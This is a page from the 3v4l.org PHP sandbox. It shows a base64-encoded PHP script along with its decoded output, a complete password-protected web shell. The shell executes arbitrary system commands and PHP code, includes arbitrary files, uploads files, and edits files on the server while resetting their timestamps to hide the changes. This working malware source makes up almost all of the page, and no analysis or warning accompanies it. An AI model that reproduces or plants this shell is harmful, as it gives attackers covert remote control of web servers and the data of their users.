3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo(base64_decode('ICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl9yZXBvcnRpbmcoMik7DQogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLCB0cnVlKTsNCiAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJyx0cnVlKTsNCiAgQGluaV9zZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnLHRydWUpOw0KICBAaW5pX3NldCgncmVnaXN0ZXJfbG9uZ19hcnJheXMnLHRydWUpOw0KICBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLHRydWUpOw0KICAkc2FmZW1vZGU9QGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KDQogICRtYWdpY19xdW90ZXM9MTsNCiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSkgJG1hZ2ljX3F1b3Rlcz1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOw0KDQogICRwaHB2ZXIgPSBzdHJfcmVwbGFjZSgnLicsJycscGhwdmVyc2lvbigpKTsNCiAgaWYgKHN0cmxlbigkcGhwdmVyKTwzKSB3aGlsZSAoc3RybGVuKCRwaHB2ZXIpPDMpICRwaHB2ZXIuPScwJzsNCiAgaWYoaW50dmFsKCRwaHB2ZXIpIDwgNDEwKXsNCiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsNCiAgICAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7DQogICAgJF9TRVJWRVI9JiRIVFRQX1NFUlZFUl9WQVJTOw0KICAgICRfQ09PS0lFPSYkSFRUUF9DT09LSUVfVkFSUzsNCiAgICAkX0ZJTEVTPSYkSFRUUF9QT1NUX0ZJTEVTOw0KICB9DQogIEBvYl9lbmRfY2xlYW4oKTsNCg0KICAkcHdfcGxzPSI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cHc+PC9mb3JtPiI7DQoNCiAgaWYgKGVtcHR5KCRfUE9TVFsncHcnXSkpIGV4aXQoJHB3X3Bscyk7DQogIGlmICghZW1wdHkoJF9QT1NUWydwdyddKSAmJiBtZDUoJF9QT1NUWydwdyddKSE9Jzc5YTI0OGRlMWIwMTAxY2JmYjRkMWE3YTYwZjZkNGE1JykgZXhpdCgkcHdfcGxzKTsNCg0KICAkcHc9IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB3IHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwdyddKS4iJz4iOw0KDQogIGlmICghZW1wdHkoJF9QT1NUWyd1c2Vtb2R1bGUnXSkpIGluY2x1ZGUoJF9QT1NUWyd1c2Vtb2R1bGUnXSk7DQoNCiAgJHdvcmtfZGlyID0gZ2V0Y3dkKCk7DQogIGlmIChzdHJwb3MoJHdvcmtfZGlyLCJcXCIpIT09ZmFsc2UpICR3b3JrX2Rpcj1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkd29ya19kaXIpOw0KICBpZiAoc3RycG9zKHN1YnN0cigkd29ya19kaXIsMCw1KSwiOiIpIT09ZmFsc2UpICRvcz0id2luIjsNCiAgZWxzZSAkb3M9Im5peCI7DQogIGlmICghZW1wdHkoJF9QT1NUWydjZCddKSkgJGNkPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2NkJ10pOw0KICBlbHNlICRjZCA9ICR3b3JrX2RpcjsNCg0KICBpZiAoaXNfZGlyKCRjZCkpIGNoZGlyKCRjZCk7DQoNCiAgJHJ1bj0oJG1hZ2ljX3F1b3Rlcyk/c3RyaXBzbGFzaGVzKCRfUE9TVFsncnVuJ10pOiRfUE9TVFsncnVuJ107DQogICRlZGl0PXN0cmlwc2xhc2hlcygkX1BPU1RbJ2VkaXQnXSk7DQogIGlmICghQGlzX2ZpbGUoJGVkaXQpKSAkZWRpdD0kY2Q7DQoNCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2V2YWwnXSkpIGV2YWwoKCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ2V2YWwnXSk6JF9QT1NUWydldmFsJ10pOw0KDQogIGlmICghZW1wdHkoJF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSkgJiYgaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddKSkgew0KICAgICR1cGxvYWRkaXIgPSBlcmVnX3JlcGxhY2UoJy8rJywgJy8nLCAkY2QuIi8iKTsNCiAgICAkdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIuYmFzZW5hbWUoJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKTsNCiAgICBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwgJHVwbG9hZGZpbGUpOw0KICB9DQoNCiAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSkgew0KCWlmICgkbWFnaWNfcXVvdGVzKSAkY29uc29sZSA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvbnNvbGUnXSk7DQoJZWxzZSAkY29uc29sZSA9ICRfUE9TVFsnY29uc29sZSddOw0KICAgICR0aW1lID0gZmlsZW10aW1lKCRlZGl0KTsNCiAgICAkZj1AZm9wZW4oJGVkaXQsInciKTsNCiAgICBpZiAoJGYpIHsNCiAgICAgIGZ3cml0ZSgkZiwkY29uc29sZSk7DQogICAgICBmY2xvc2UoJGYpOw0KICAgICAgdG91Y2goJGVkaXQsJHRpbWUpOw0KICAgICAgJGVkaXQ9JGNkOw0KICAgIH0NCiAgfQ0KDQogIGlmICghZW1wdHkoJGVkaXQpICYmIGZpbGVfZXhpc3RzKCRlZGl0KSAmJiBpc19maWxlKCRlZGl0KSAmJiAkZWRpdCE9PSRjZCkgew0KCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkZWRpdCk6aXNfd3JpdGFibGUoJGVkaXQpKSAkbmVlZF9zYXZlX2J1dHRvbj10cnVlOw0KICAgICRmPUBmb3BlbigkZWRpdCwiciIpOw0KICAgIGlmICgkZikgew0KICAgICAgaWYgKGZpbGVzaXplKCRlZGl0KT4wKSAkcmV0dmFsID0gQGZyZWFkKCRmLGZpbGVzaXplKCRlZGl0KSk7DQogICAgICBlbHNlICRyZXR2YWwgPSAiW2VtcHR5XSI7DQogICAgICBmY2xvc2UoJGYpOw0KICAgIH0gZWxzZSB7DQogICAgICAkcmV0dmFsID0gIkNhbid0IG9wZW4gZmlsZTogJGVkaXRcbiI7DQogICAgfQ0KICB9IGVsc2VpZiAoIWVtcHR5KCRydW4pKSB7DQogICAgJGNtZCA9ICRydW47DQogICAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQogIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkY2QpICYmIEBpc19kaXIoJGNkKSkgew0KDQoJaWYgKCEkc2FmZW1vZGUpDQoJew0KCQlpZiAoJG9zPT0nd2luJykNCgkJew0KDQoJCSAgJGNtZCA9ICJkaXIgIi5zdHJfcmVwbGFjZSgiLyIsIlxcIiwkY2QpOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJICAgIGVsc2UNCgkJew0KCQkgICRjbWQgPSAibHMgLWxhIFwiJGNkXCIiOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJfQ0KDQogICAgaWYgKGVtcHR5KCRyZXR2YWwpKQ0KCXsNCgkJJGRpcj0kY2Q7DQoJCWlmKCRjdXJkaXIgPSBAb3BlbmRpcigkZGlyKSkgew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGN1cmRpcikpIHsNCgkJICBpZigkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KCQkJJHNyY2ZpbGUgPSAkZGlyIC4gJy8nIC4gJGZpbGU7DQoJCQlpZihpc19maWxlKCRzcmNmaWxlKSkgew0KCQkJCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkc3JjZmlsZSk6aXNfd3JpdGFibGUoJHNyY2ZpbGUpKSAkcmV0dmFsIC49ICIrKyAiLiRmaWxlLiJcbiI7DQoJCQkJZWxzZSAkcmV0dmFsIC49ICItLSAiLiRmaWxlLiJcbiI7DQoJCQl9IGVsc2VpZihpc19kaXIoJHNyY2ZpbGUpKSB7DQoJCQkJaWYgKCRvcz09J3dpbic/Y2FuX3dyaXRlKCRzcmNmaWxlKTppc193cml0YWJsZSgkc3JjZmlsZSkpICRyZXR2YWwgLj0gImQrICIuJGZpbGUuIlxuIjsNCgkJCQllbHNlICRyZXR2YWwgLj0gImQtICIuJGZpbGUuIlxuIjsNCgkJCX0NCgkJICB9DQoJCX0NCgkJY2xvc2VkaXIoJGN1cmRpcik7DQoJCX0gZWxzZSAkcmV0dmFsID0gIkNhbnQgb3BlbiBkaXJlY3RvcnlcbiI7DQoJfQ0KDQoNCiAgfQ0KDQoJJGlkX2V4ZWMgPSAiY2FudCBnZXQgdWlkLGdpZCI7DQoNCglpZiAoJHRtcCA9IG1hZ2ljX2V4ZWN1dGUoImlkIikpICRpZF9leGVjID0gJHRtcDsNCgllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z2lkJykpDQoJew0KCQkkdWlkcyAgPSBAcG9zaXhfZ2V0bG9naW4oKTsNCgkJJGV1aWRzID0gQHBvc2l4X2dldGxvZ2luKCk7DQoJCSR1aWQgICA9IEBwb3NpeF9nZXR1aWQoKTsNCgkJJGV1aWQgID0gQHBvc2l4X2dldGV1aWQoKTsNCgkJJGdpZCAgID0gQHBvc2l4X2dldGdpZCgpOw0KCQlpZiAoIWVtcHR5KCR1aWQpKSAkaWRfZXhlYyA9ICJVc2VyOiB1aWQ9JHVpZHMoJHVpZCkgZXVpZD0kZXVpZCgkZXVpZCkgZ2lkPSRnaWQoJGdpZCkiOw0KCX0NCg0KICBlY2hvICc8SFRNTD48Qk9EWSBvbmxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnY2Rmb2N1c1wnKS5mb2N1cygpOyI+PEhSPic7DQogIGVjaG8gZGF0ZSgiZC5tLlkgaDppIEEiKS4iIE9TOiRvcyAkaWRfZXhlYyBzYWZlX21vZGU9JHNhZmVtb2RlIjsNCiAgZWNobyAiPEhSPiI7DQogIGlmIChpc3NldCgkbmVlZF9zYXZlX2J1dHRvbikpIGVjaG8gIjxGT1JNIG1ldGhvZD1wb3N0PiI7DQogIGVjaG8gJzxURVhUQVJFQSBpZD0iY29uc29sZSIgbmFtZT0iY29uc29sZSIgc3R5bGU9IndpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4OyI+JzsNCiAgaWYgKGlzc2V0KCRyZXR2YWwpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJldHZhbCk7DQogIGVjaG8gJzwvVEVYVEFSRUE+JzsNCiAgaWYgKGlzc2V0KCRuZWVkX3NhdmVfYnV0dG9uKSkgZWNobyAiJHB3PElOUFVUIHR5cGU9J2hpZGRlbicgbmFtZT0nY2QnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGNkKS4iJz48SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdlZGl0JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRlZGl0KS4iJz48SU5QVVQgdHlwZT1zdWJtaXQgbmFtZT1zYXZlIHZhbHVlPSdTYXZlJz48L0ZPUk0+IjsNCiAgZWNobyAiPEhSPjxGT1JNIG1ldGhvZD1cIlBPU1RcIj4kcHciOw0KICBlY2hvICI8dGFibGU+PHRyPjx0ZD5kaXI6PC90ZD48dGQgd2lkdGg9XCIxMDAlXCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGlkPVwiY2Rmb2N1c1wiIG5hbWU9XCJjZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjZCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPnJ1bjo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cInJ1blwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+ZWRpdDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cImVkaXRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZWRpdCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8L3RhYmxlPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJPS1wiPjwvRk9STT4iOw0KDQogIGVjaG8gIjxocj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIG1ldGhvZD1cInBvc3RcIj4kcHc8SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdjZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkY2QpLiInPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIk1BWF9GSUxFX1NJWkVcIiB2YWx1ZT1cIjE1MDAwMDAwXCIgLz51cGxvYWQ6IDxpbnB1dCBuYW1lPVwidXNlcmZpbGVcIiB0eXBlPVwiZmlsZVwiIC8+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cInVwbG9hZFwiIC8+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8dGV4dGFyZWEgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIiAgbmFtZT0nZXZhbCcgaWQ9J2V2YWwnPnBocGluZm8oKTs8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXZhbFBIUCc+PC9mb3JtPjxocj4iOw0KICBlY2hvICJ1c2UgbW9kdWxlOiA8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlbW9kdWxlJz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3VzZSc+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8L0JPRFk+PC9IVE1MPiI7DQoNCiAgZXhpdCgpOw0KDQoNCiAgZnVuY3Rpb24gY2FuX3dyaXRlKCRmaWxlKSB7aWYoZmlsZV9leGlzdHMoJGZpbGUpKXtpZiAoaXNfZmlsZSgkZmlsZSkpIHskZj1AZm9wZW4oJGZpbGUsImErIik7aWYoJGYpe2ZjbG9zZSgkZik7cmV0dXJuIHRydWU7fX1lbHNlaWYgKGlzX2RpcigkZmlsZSkpIHtpZiAoJGZpbGVbc3RybGVuKCRmaWxlKS0xXSE9Jy8nKSAkZmlsZS49Jy8nOyR0ZmlsZSA9ICRmaWxlLiJ0ZXN0eHh4dGVzdCI7aWYgKEB0b3VjaCgkdGZpbGUpKXt1bmxpbmsoJHRmaWxlKTtyZXR1cm4gdHJ1ZTt9fX1yZXR1cm4gZmFsc2U7fQ0KDQoJZnVuY3Rpb24gbWFnaWNfZXhlY3V0ZSgkY21kKQ0KCXsNCgkJJHJlcz1mYWxzZTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCQl7DQoJCQlAZXhlYygkY21kLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfQ0KCQllbHNlDQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJZWxzZQ0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJHJlczsNCgl9DQo='));?>
Output for git.master, git.master_jit, rfc.property-hooks
@set_time_limit(0); @error_reporting(2); @set_magic_quotes_runtime(0); @ini_set('upload_max_filesize',10485760); @ini_set('post_max_size',10485760); @ini_set('file_uploads', true); @ini_set('display_errors',true); @ini_set('register_globals',true); @ini_set('register_long_arrays',true); @ini_set('max_execution_time',false); @ini_set('output_buffering',false); @ini_set('allow_url_fopen',true); $safemode=@ini_get('safe_mode'); $magic_quotes=1; if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc(); $phpver = str_replace('.','',phpversion()); if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0'; if(intval($phpver) < 410){ $_POST=&$HTTP_POST_VARS; $_GET=&$HTTP_GET_VARS; $_SERVER=&$HTTP_SERVER_VARS; $_COOKIE=&$HTTP_COOKIE_VARS; $_FILES=&$HTTP_POST_FILES; } @ob_end_clean(); $pw_pls="<form method=post><input type=text name=pw></form>"; if (empty($_POST['pw'])) exit($pw_pls); if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') exit($pw_pls); $pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>"; if (!empty($_POST['usemodule'])) include($_POST['usemodule']); $work_dir = getcwd(); if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir); if (strpos(substr($work_dir,0,5),":")!==false) $os="win"; else $os="nix"; if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']); else $cd = $work_dir; if (is_dir($cd)) chdir($cd); $run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run']; $edit=stripslashes($_POST['edit']); if (!@is_file($edit)) $edit=$cd; if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']); if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) { $uploaddir = ereg_replace('/+', '/', $cd."/"); $uploadfile = $uploaddir.basename($_FILES['userfile']['name']); move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile); } if (isset($_POST['save'])) { if ($magic_quotes) $console = stripslashes($_POST['console']); else $console = $_POST['console']; $time = filemtime($edit); $f=@fopen($edit,"w"); if ($f) { fwrite($f,$console); fclose($f); touch($edit,$time); $edit=$cd; } } if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) { if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true; $f=@fopen($edit,"r"); if ($f) { if (filesize($edit)>0) $retval = @fread($f,filesize($edit)); else $retval = "[empty]"; fclose($f); } else { $retval = "Can't open file: $edit\n"; } } elseif (!empty($run)) { $cmd = $run; $retval = magic_execute($cmd); } elseif (file_exists($cd) && @is_dir($cd)) { if (!$safemode) { if ($os=='win') { $cmd = "dir ".str_replace("/","\\",$cd); $retval = magic_execute($cmd); } else { $cmd = "ls -la \"$cd\""; $retval = magic_execute($cmd); } } if (empty($retval)) { $dir=$cd; if($curdir = @opendir($dir)) { while($file = readdir($curdir)) { if($file != '.' && $file != '..') { $srcfile = $dir . '/' . $file; if(is_file($srcfile)) { if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n"; else $retval .= "-- ".$file."\n"; } elseif(is_dir($srcfile)) { if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n"; else $retval .= "d- ".$file."\n"; } } } closedir($curdir); } else $retval = "Cant open directory\n"; } } $id_exec = "cant get uid,gid"; if ($tmp = magic_execute("id")) $id_exec = $tmp; elseif (function_exists('posix_getgid')) { $uids = @posix_getlogin(); $euids = @posix_getlogin(); $uid = @posix_getuid(); $euid = @posix_geteuid(); $gid = @posix_getgid(); if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)"; } echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>'; echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode"; echo "<HR>"; if (isset($need_save_button)) echo "<FORM method=post>"; echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">'; if (isset($retval)) echo htmlspecialchars($retval); echo '</TEXTAREA>'; if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>"; echo "<HR><FORM method=\"POST\">$pw"; echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>". "<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>". "<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>". "</table>". "<input type=\"submit\" value=\"OK\"></FORM>"; echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>"; echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>"; echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>"; echo "</BODY></HTML>"; exit(); function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;} function magic_execute($cmd) { $res=false; if (function_exists('exec')) { @exec($cmd,$res); $res = join("\n",$res); } else if (function_exists('shell_exec')) $res = @shell_exec($cmd); else if (function_exists('system')) { @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean(); } else if(function_exists('passthru')) { @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean(); } else if (@is_resource($f = @popen($cmd,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } return $res; }

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
34.61 ms | 417 KiB | 8 Q